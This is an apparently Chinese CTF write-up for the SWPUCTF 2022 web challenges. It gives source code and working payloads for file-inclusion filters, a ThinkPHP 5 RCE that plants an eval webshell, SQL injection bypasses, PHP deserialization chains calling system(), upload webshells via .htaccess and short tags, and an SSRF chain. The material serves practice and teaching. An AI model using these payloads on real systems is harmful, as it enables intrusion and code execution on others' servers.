[SWPUCTF 2022]——Web方向 详细Writeup

SWPUCTF 2022

ez_ez_php

打开环境得到源码

 <?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php 

文件包含,利用伪协议读取,构造payload:

http://node1.anna.nssctf.cn:28012/?file=php://filter/read=convert.base64-encode/resource=flag

然后base64解码得到flag

ez_rce

f12,看不到啥,抓包抓不到什么东西

image-20230707150331182

用dirsearch扫一下,发现有robots.txt

image-20230707150822172

访问一下,发现hint/NSS/index.php

image-20230707150901085

访问一下

image-20230707151106398

一时间没什么思路,google一下ThinkPHP V5发现是个CVE

ThinkPHP 5.x 远程命令执行漏洞分析与复现

由于靶机和本地搭建环境不同,以下给出两种payload

flag不在/flag中,flag路径是/NSS/ctf/flag/flag

一、写入shell

payload:

http://node1.anna.nssctf.cn:28962/NSS/index.php/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_GET["code"])?>

该代码就是写入了一个test.php,内容是一个shell,接下来就可以利用shell来读取flag,payload:

不是我不想用蚁剑连,而是不知道为什么连不上去

http://node1.anna.nssctf.cn:28962/test.php?code=system(%22cat%20/nss/ctf/flag/flag%22);

二、直接读取flag

可以利用find命令来找到flag,毕竟不好找

http://node1.anna.nssctf.cn:28962/NSS/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20$(find%20/%20-name%20flag)

或者一个一个的找来读取flag文件

http://node1.anna.nssctf.cn:28962/NSS/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/nss/ctf/flag/flag

奇妙的MD5

hint:可曾听过ctf 中一个奇妙的字符串

先提交查询然后抓个包看看

image-20230708101555556

可以看到我们提交的数据都会经过md5解密然后再进行处理

1681750044692

所以首先我们要找到一个字符串,这个字符串经过md5得到的16位原始二进制的字符串能帮我们实现sql注入

or这个字符串是必要的,同时为了配对原先sql语句里面有的单引号,在or的两边要有单引号,使它变成 password=‘xxx’or‘xxx’ 的形式。

所以我们需要的字符串的原始二进制格式的字符串里要包含 'or'如果根据原始二进制来找到我们要的字符串可能会比较麻烦,那么可以根据32位16进制的字符串来查找,根据上面介绍的, 'or' 对应的16进制是 276f7227 ,所以我们的目标就是要找一个字符串取32位16进制的md5值里带有276f7227这个字段的。

接着就是要看关键的数字部分了,在276f7227这个字段后面紧跟一个数字,除了0,1-9,对应的asc码值是49-57,转化为16进制就是31-39,也就是我们需要有276f7227+(31-39)这个字段,就可以满足要求。比如xxxxxxxxxxxxxxxx276f7227(31-39)xxxxxx

ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,

而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是select * from ‘admin’ where password=’’ or ‘6xxxxx’

所以将ffifdyop提交查询,进入新界面

image-20230708102148906

f12查看源码,md5弱比较,直接数组绕过就可以

$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){
    ;

构造payload:

node3.anna.nssctf.cn:28028/c0nt1nue.php?x[]=1&y[]=2

进入新界面,得到源码

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){
    echo $FLAG;
} 

这次就是md5强比较,构造payload:

wqh=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab&dsy=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab

ez_ez_php(revenge)

打开环境得到源码

 <?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php 

也是利用伪协议,直接构造payload:

http://node3.anna.nssctf.cn:28472/?file=php://filter/read=convert.base64-encode/resource=flag.php

然后base64解码解码一下,擦,被骗了

image-20230708103933214

重新构造payload:

http://node3.anna.nssctf.cn:28472/?file=php://filter/read=convert.base64-encode/resource=/flag

这次base64解码可以得到flag了

1z_unserialize

<?php
 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
 
?> 

这里考察反序列化,利用点在

$a($this->lly);

这里可以让$asystem来进行命令执行,并且在函数销毁时会被设置为$lt的值

构造exp:

<?php

class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;

    function  __construct()
    {
        $this->lt ="system";
        $this->lly="ls /";
    }
}
$a=new lyh();
echo (serialize($a))
?>

payload:

O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:4:"ls /";}

然后利用POST发包

image-20230825194948131

修改命令得到flag

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:7:"cat /f*";}

numgame

dirsearch扫一下,可以看到有一些文件

image-20230825195951323

访问一下flag.php然后打开F12,然后再去访问index.php,查看源代码

image-20230825200137032

可以得到

NSSCTF{TnNTY1RmLnBocA==}

解码一下

image-20230825200219934

然后去访问NsScTf.php文件,得到代码

 <?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{
    static function ctf(){
        include("./hint2.php");
    }
}
if(isset($_GET['p'])){
    if (preg_match("/n|c/m",$_GET['p'], $matches))
        die("no");
    call_user_func($_GET['p']);
}else{
    highlight_file(__FILE__);
} 
  1. 它包含了一个名为 “flag.php” 的文件的内容。这个文件可能包含了一些敏感信息,可能是题目的解答或者标志。
  2. 定义了一个名为 nss 的类,其中有一个静态方法 ctf。在这个方法内部,包含了一个名为 “hint2.php” 的文件。
  3. 如果通过GET请求传递了参数 p,则会进入条件判断。在条件判断内部,使用正则表达式检查参数 p 是否包含字符 “n” 或 “c”,如果包含就会输出 “no” 并终止程序。
  4. 如果条件判断没有通过,就会调用 call_user_func 来执行参数 p 对应的函数。
  5. 如果没有传递参数 p,则会使用 highlight_file 函数将当前文件的源代码高亮显示在浏览器中。

这里正则匹配会匹配GET方式传参的p的值,结合第一个hint,我们推测需要用POST形式发包

其实这里用大小写绕过也可以,因为这个正则匹配没有用/i来忽略大小写

这里看到有hint2.php,访问一下hint2.php,得到第二个hint

image-20230827001022410

所以进行post发包,类名是nss2,函数还是ctf

构造payload:

p=nss2::ctf

image-20230827001857550

其实这里hint2.php是按照类似的方式来查看的,但是能直接看

where_am_i

打开环境

image-20230827002652270

推测是输入手机号码,用识图网站看一下

image-20230827003049990

查一下古迹酒店的电话号码

image-20230827003149660

得到电话号码,去掉括号

02886112888

踩坑点:这里输了好几次都没有用,还以为是电话号码的问题,重新进一下环境就好了

然后输入可以得到flag

image-20230827003712487

ez_ez_unserialize

源码如下

<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
} 

这里__FILE__的作用是获取当前文件

然后在反序列化开始的时候触发__wakeup()魔术方法,来检测$x的值是否为当前文件名,如果不是,则重新赋值为__FILE__

然后在反序列化结束的时候触发__destruct()魔术方法,来显示文件文件内容

染过__wakeup()之前先看看PHP版本

image-20230828182704024

可以看到PHP5版本 <5.6.25

所以可以利用对象的属性数量不一致方法来绕过

先构造exp,flag在fllllllag.php

<?php
class X
{
    public $x;
    function __construct()
    {
        $this->x = "fllllllag.php";
    }
}

$a=new X();
echo serialize($a);

运行得到

O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

修改属性数量

O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

然后get传参,payload

http://node5.anna.nssctf.cn:28562/?x=O:1:%22X%22:2:{s:1:%22x%22;s:13:%22fllllllag.php%22;}

得到flag

image-20230828183424374

js_sign

F12可以看到源代码

document.getElementsByTagName("button")[0].addEventListener("click", ()=>{
    flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"
    if (btoa(flag.value) == 'dGFwY29kZQ==') {
        alert("you got hint!!!");
    } else {
        alert("fuck off !!");
    }    
})

dGFwY29kZQ==解码可以得到tapcode

敲击码(?),没见过,直接去空格解码flag

敲击码在线解密

将字符串去空格得到

3343431344215434452124331421311122125444113513341415

反查得到

n(N) s(S) s(S) c(C) t(T) f(F) y(Y) o(O) u(U) f(F) i(I) n(N) d(D) f(F) l(L) a(A) g(G) b(B) y(Y) t(T) a(A) p(P) c(C) o(O) d(D) e(E)

得到flag

NSSCTF{youfindflagbytapcode}

xff

打开环境

image-20230828184624665

猜测是XFF伪造,burp抓包然后伪造

X-Forwarded-For:127.0.0.1

image-20230828184715189

说明必须从主页跳转,Referer伪造

Referer:127.0.0.1

得到flag

image-20230828185043594

ez_sql

提示我们要用相对安全的方式传参,所以这里用POST传参,如果用GET会弹出报错

image-20230830203036055

先判断闭合方式

根据报错方式可以得知闭合方式是单引号

image-20230830225228203

接下来尝试一下联合注入

nss=1' union select 1,2,3;#

image-20230830230706238

根据报错信息,可以发现union空格是会被消除的,这里union尝试用双写替代一下,空格试试/**/

构造payload:

nss=2'/**/ununionion/**/select/**/1,2,3;#

绕过成功

image-20230830231210913

接下来爆库

nss=2'/**/ununionion/**/select/**/1,database(),3;#

爆表

这里爆表的时候注意一下,or会被消除,所以双写一下

image-20230830231432464

nss=2'/**/ununionion/**/select/**/1,database(),group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db';#

image-20230830231730411

爆字段

nss=2'/**/ununionion/**/select/**/1,database(),group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb';#

image-20230830231859433

获取数据

nss=2'/**/ununionion/**/select/**/1,group_concat(Secr3t),group_concat(flll444g)/**/from/**/NSS_tb;#

image-20230830232044691

不知道为什么是两个。。。。Secr3t那个表里的是对的

webdog1__start

F12可以看到代码

if (isset($_GET['web']))
{
    $first=$_GET['web'];
    if ($first==md5($first)) 

对于$a==md5($a)这种类型的弱比较,数组是绕过不了的,这里用0e绕过弱比较

payload:

?web=0e215962017

然后进入到start.php界面

image-20230829151741247

然后继续Ctrl+U查看前端代码,可以看到hint

image-20230829151902907

这里的bot指的就是robots.txt,访问一下

image-20230829152047993

这里不知道为什么用火狐直接访问中文乱码了(

image-20230829152112900

然后去访问f14g.php

抓包从返回头可以看到hint

image-20230829152337146

接下来去访问F1l1l1l1l1lag.php访问得到代码

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
    $get=$_GET['get'];
    if(!strstr($get," ")){
        $get = str_ireplace("flag", " ", $get);
        
        if (strlen($get)>18){
            die("This is too long.");
            }
            
            else{
                eval($get);
          } 
    }else {
        die("nonono"); 
    }

}

我们需要以get方式传入get参数

并且传入参数不能存在空格,如果有flag,把flag利用str_ireplace()函数变成空格

字符串的长度要小于等于18,如果以上条件都满足,就会利用eval来执行get参数

绕过空格的方式很多,经常用到的是两个<重定向符,和间隔符$IFS

因为IFS为系统变量,默认值为空格,又因为变量的优先级要比命令高,所以可以使用命令+$IFS+参数的方式绕过空格过滤

但是我们并不能直接使用命令+$IFS+参数的方法进行绕过,比如cat$IFSflag,这样是不可以的,因为linux系统或将$IFSflag看做一个整体,从而不能正常的被解析为空格。所以需要在$IFS后面进行截断,以保证$IFS被成功解析有几种方式:

  1. 利用绝对路径前面的/分隔 cat$IFS/flag.php
  2. 利用通配符?分隔 ,?在linux里面可以进行代替字母

在linux里面可以进行模糊匹配 cat$IFS?lag.php

3.利用${}分隔cat${IFS}flag.php

4.可以创建自定义变量:a=参数,命令$IFS$a cat$IFS$aflag.php

5.未过滤"0~9"、"@"、"*"命令$IFS$

通过文件重定向来绕过空格的原理就是文件重定向符号执行优先级大于命令

格式:cat<fileName cat<>flag.txt

对于文件重定向操作符绕过空格过滤,只能用于文件查看的相关命令,比如cat,head,tail,more等。

其他绕过方式:制表符%09%0a 制表符\t

至于绕过flag,这里也很简单,我看到基本都是用刚才讲到的*进行模糊匹配

而且因为长度原因,你最好使用一些比较短的绕过方式,比如cat就可以换成nl这种

最终payload:

?get=system("nl%09/*");
?get=system("nl\t/*");

或者利用自定义变量

?get=eval($_GET['A']);&A=system('cat /flag');

funny_php

打开环境得到源代码

<?php
    session_start();
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
            echo ":D";
            $_SESSION['L1'] = 1;
        }else{
            echo ":C";
        }
    }
    if(isset($_GET['str'])){
        $str = preg_replace('/NSSCTF/',"",$_GET['str']);
        if($str === "NSSCTF"){
            echo "wow";
            $_SESSION['L2'] = 1;
        }else{
            echo $str;
        }
    }
    if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
        if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
            echo "Nice!";
            if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
                if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
                    echo "yoxi!";
                    $_SESSION['L3'] = 1;
                }else{
                    echo "X(";
                }
            }
        }else{
            echo "G";
            echo $_POST['md5_1']."\n".$_POST['md5_2'];
        }
    }
    if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
        include('flag.php');
        echo $flag;
    }
?> 

一层一层来,需要我们传入num,并且长度要字符长度<=3并且数字>999999999

这里可以利用指数e绕过

构造payload

?num=9e9

然后我们需要传入str的值为NSSCTF,但是这里会通过正则匹配然后将NSSCTF替换为空,但是这里不会循环检测替换后的str,可以利用双写绕过

构造payload:

?num=9e9&str=NNSSCTFSSCTF

然后POST传入md5_1md5_2,要求这两个值都是字符串,并且md5_1!==md5_2,并且两个值md5加密后的值相同,但是这里是弱比较

这里选择用0e绕过弱比较

对于某些特殊的字符串加密后得到的密文以0e开头,PHP会当作科学计数法来处理,也就是0的n次方,得到的值比较的时候都相同

POST传参

md5_1=QNKCDZO&md5_2=PJNPDWY

最后请求头如下

image-20230829180709582

ez_1zpop

代码如下

<?php
error_reporting(0);
class dxg
{
   function fmm()
   {
      return "nonono";
   }
}

class lt
{
   public $impo='hi';
   public $md51='weclome';
   public $md52='to NSS';
   function __construct()
   {
      $this->impo = new dxg;
   }
   function __wakeup()
   {
      $this->impo = new dxg;
      return $this->impo->fmm();
   }

   function __toString()
   {
      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
         return $this->impo->fmm();
   }
   function __destruct()
   {
      echo $this;
   }
}

class fin
{
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
   function fmm()
   {
      $b = $this->a;
      $b($this->title);
   }
}

if (isset($_GET['NSS'])) {
   $Data = unserialize($_GET['NSS']);
} else {
   highlight_file(__file__);
}

构造pop链

这里的要在fin类的fmm()函数进行命令执行

向上找,发现是在__toString()魔术方法会触发impo的值的fmm()函数

__toString(): 当一个对象被当作字符串使用时触发

所以向上找是__destruct(),pop如下

fin::fmm() <- lt::__toString <- lt::__destruct

在构造exp的时候要__toString()的条件,我们需要构造传入md51md52的值,并且md5加密后值相等,但是md51不能等于md51,这里是弱比较,可以利用0e绕过弱比较(这里跟上一题一样)

exp:

<?php
class lt
{
    public $impo;
    public $md51 = 'QNKCDZO';
    public $md52 = 'PJNPDWY';
    function __construct()
    {
        $this->impo = new fin();
    }
}
class fin
{
    public $a;
    public $url = '111';
    public $title ;
    function __construct()
    {
        $this->a = 'system';
        $this->title='ls /';
    }
}

$a = new lt();
echo serialize($a);

运行生成

O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:3:"111";s:5:"title";s:4:"ls /";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:7:"PJNPDWY";}

但是这里注意一下__wakeup()魔术方法

   function __wakeup()
   {
      $this->impo = new dxg;
      return $this->impo->fmm();
   }

他会将impo的值赋为new dxg,这就不能进入到我们的fin类,所以要对__wakeup()进行绕过,看一下版本

image-20230829201615319

PHP/5.5.38,那么就说明可以用对象的属性数量不一致这个方法

修改payload:

O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:3:"111";s:5:"title";s:4:"ls /";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:7:"PJNPDWY";}

image-20230829201746630

然后再修改命令为cat /f*得到flag

O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:3:"111";s:5:"title";s:7:"cat /f*";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:7:"PJNPDWY";}

Ez_upload

文件上传,先上传php文件试试

image-20230830015648676

黑名单过滤,那就利用.htaccess文件进行绕过,上传.htaccess,内容如下

<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>

先上传.htaccess文件

image-20230830020343100

但是这里还是上传失败,应该还是存在过滤,修改一下MIME类型

image-20230830021916034

这样就上传成功了,然后上传jpg图片马

image-20230830022049835

换个类型,说明存在文件类型检测,前面加个文件头,GIF89a,加了之后还是不行(有完没完

应该是存在短标签过滤,换个内容传一下

GIF89a<script language ="php"> eval($_REQUEST['cmd']); </script>

image-20230830022602016

然后去访问一下

http://node5.anna.nssctf.cn:28211/upload/1ab7604dc44c5225b3b50a4f361f5fc7/shell.jpg

接着进行RCE

image-20230830022847812

然后看一下flag的内容,发现没东西,被骗了

看一下phpinfo

http://node5.anna.nssctf.cn:28211/upload/1ab7604dc44c5225b3b50a4f361f5fc7/shell.jpg?cmd=phpinfo();

得到flag

image-20230830023122450

funny_web

随便输个账号密码,弹出hint

image-20230830013744880

用户名是NSS,密码随便输

image-20230830013805942

密码是2122693401,登录,得到源代码

谢队夹带私货是吧

<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['num'])) {
    $num = $_GET['num'];
    if ($num != '12345') {
        if (intval($num) == '12345') {
            echo $FLAG;
        }
    } else {
        echo "这为何相等又不相等";
    }
} 

然后这里绕过intval()函数就可以了,这里可以用小数绕过

构造payload:

http://node5.anna.nssctf.cn:28399/rea11y.php?num=12345.6

传参得到flag

file_master

题目存在文件查看功能,但是不能直接查看flag,权限不够

image-20230830183111456

先查看index.php

image-20230830201425374

可以得到源码

<?php
    session_start();
    if(isset($_GET['filename'])){
        echo file_get_contents($_GET['filename']);
    }
    else if(isset($_FILES['file']['name'])){
        $whtie_list = array("image/jpeg");
        $filetype = $_FILES["file"]["type"];
        if(in_array($filetype,$whtie_list)){
            $img_info = @getimagesize($_FILES["file"]["tmp_name"]);
            if($img_info){
                if($img_info[0]<=20 && $img_info[1]<=20){
                    if(!is_dir("upload/".session_id())){
                        mkdir("upload/".session_id());
                    }
                    $save_path = "upload/".session_id()."/".$_FILES["file"]["name"];
                    move_uploaded_file($_FILES["file"]["tmp_name"],$save_path);
                    $content = file_get_contents($save_path);
                    if(preg_match("/php/i",$content)){
                        sleep(5);
                        @unlink($save_path);
                        die("hacker!!!");
                    }else{
                        echo "upload success!! upload/your_sessionid/your_filename";
                    }
                }else{
                    die("image hight and width must less than 20");
                }
            }else{
                die("invalid file head");
            }
        }else{
            die("invalid file type!image/jpeg only!!");
        }
    }else{
        echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents("welcome.jpg")).'">';
    }
?>

可以看到会检测MIME类型,只允许image/jpeg

然后将文件上传之后会进行正则匹配,如果文件内容中含有php(不区分大小写)那么久就会延迟五秒之后移除该文件

这里其实就是短标签过滤,换个短标签即可绕过


php短标签绕过

php中最常见的标签为<?php ?>

不过在题目上传时可能会被waf过滤掉php关键字。根据查询结果,还有四种php的标签,分别是:

①<? ?> 仅在配置short_open_tag=on时可以使用,适合执行php语句;

②<?= ?>即使配置short_open_tag=off时依然可以使用,相当于<?php echo ?>,适合输出php语句~

上述二者的短标签都不必闭合(即?>可以省略不写,也可以连接成功

<?  @eval($_POST['a']);?>
 
<?= @eval($_POST['a']);?>
 
<?  @eval($_POST['a']);
 
<?= @eval($_POST['a']);

然后上传一句话木马

image-20230830202145878

存在文件头检测,那就加个文件头GIF89a

image-20230830202258987

然后回显提示图像的宽和高必须小于20

记得去掉上面的那个phpinfo()

这里就上传成功了

image-20230830202452953

然后利用sessionidfilename进行RCE

payload:

http://node5.anna.nssctf.cn:28118/upload/7mvv3slg9k03vuarv1ckom0hrl/shell.php?cmd=system(%22cat%20/f*%22);

Power!

F12可以查看hint

image-20230829204503107

source,随便传参让其等于一个数

http://node5.anna.nssctf.cn:28431/?source=1

得到源码

<?php
    class FileViewer{
        public $black_list = "flag";
        public $local = "http://127.0.0.1/";
        public $path;
        public function __call($f,$a){
            $this->loadfile();
        }
        public function loadfile(){
            if(!is_array($this->path)){
                if(preg_match("/".$this->black_list."/i",$this->path)){
                    $file = $this->curl($this->local."cheems.jpg");
                }else{
                    $file = $this->curl($this->local.$this->path);
                }
            }else{
                $file = $this->curl($this->local."cheems.jpg");
            }
            echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
        }
        public function curl($path){
            $url = $path;
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_HEADER, 0);
            $response = curl_exec($curl);
            curl_close($curl);
            return $response;
        }
        public function __wakeup(){
            $this->local = "http://127.0.0.1/";
        }
    }
    class Backdoor{
        public $a;
        public $b;
        public $superhacker = "hacker.jpg";
        public function goodman($i,$j){
            $i->$j = $this->superhacker;
        }
        public function __destruct(){
            $this->goodman($this->a,$this->b);
            $this->a->c();
        }
    }
    if(isset($_GET['source'])){
        highlight_file(__FILE__);
    }else{
        if(isset($_GET['image_path'])){
            $path = $_GET['image_path'];    //flag in /flag.php
            if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
                echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
            }else{
                echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
            }
            
        }else if(isset($_GET['path_info'])){
            $path_info = $_GET['path_info'];
            $FV = unserialize(base64_decode($path_info));
            $FV->loadfile();
        }else{
            $path = "vergil.jpg";
            echo '<h2>POWER!!</h2>
            <img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
        }
    }
?> 

从这一段可以看出,查询的文件会通过file_get_contents()函数以base64编码的形式输出,所以可以看一下flag.php

image-20230829205809738

解码一下得到

<?php

$a = "good job,but there is no flag

i put my flag in intranet(127.0.0.1:65500)

outsider have no permissions to get it

if you want it,then you have to take it

but you already knew the rules

try it";

?>

这道题目的且切入点在FileViewer中的loadfile()方法中,有代码可以实现curl命令,根据flag.php中的内容,我们可以curl 127.0.0.1:65500/flag

image-20230830000013424

向上找,要想触发loadfile()函数需要先触发FileViewer__call()魔术方法

__call() :在对象上下文中调用不可访问的方法时触发

image-20230830001752370

那就找找如何来触发__call()魔术方法,可以看到在Backdoor__destruct()魔术方法会访问一个不存在的方法c()

__destruct() :对象被销毁时触发

image-20230830001953229

但是在此之前会先进入到goodman方法来进行重新赋值,将$a类中的$b属性重新赋值为该类,也就是Backdoor$superhacker的值

链子构造到这里还没有解决最关键的一点,就是设置我们curl的路径,通过审计代码

$file = $this->curl($this->local.$this->path);

可以得知,curl的路径是由FileViewerlocalpath决定的,正好,我们可以通过$a变量来创建一个新的FileViewer对象

构造exp的时候可以修改一下black_list的值,让他不在过滤flag,毕竟正则匹配会进行过滤,并且还要注意一下,在触发unserialize之前会先进行一次base64解码

构造exp

<?php
class FileViewer{
    public $black_list;
    public $local;
    public $path;
    public function __construct()
    {
        $this->black_list="web so difficult~";
        $this->local='take it easy';
        $this->path="flag";
    }
}
class Backdoor{
    public $a;
    public $b;
    public $superhacker;
    public function __construct()
    {
        $this->a=new FileViewer();
        $this->b="local";
        $this->superhacker="127.0.0.1:65500/";
    }
}

$a=new Backdoor();
$b=new FileViewer();
$b->local=$a;
echo base64_encode(serialize($b))
?>

这里构造的时候踩了个坑,一开始只创建了Backdoor一个对象,所以就是Backdoor里面包含着FileViewer,但是经过反序列化之后,执行的loadfile函数只有FileViewer类存在,所以要FileViewer中包着Backdoor

运行生成

TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO086ODoiQmFja2Rvb3IiOjM6e3M6MToiYSI7TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO3M6MTI6InRha2UgaXQgZWFzeSI7czo0OiJwYXRoIjtzOjQ6ImZsYWciO31zOjE6ImIiO3M6NToibG9jYWwiO3M6MTE6InN1cGVyaGFja2VyIjtzOjE2OiIxMjcuMC4wLjE6NjU1MDAvIjt9czo0OiJwYXRoIjtzOjQ6ImZsYWciO30=

利用path_info传参

构造payload:

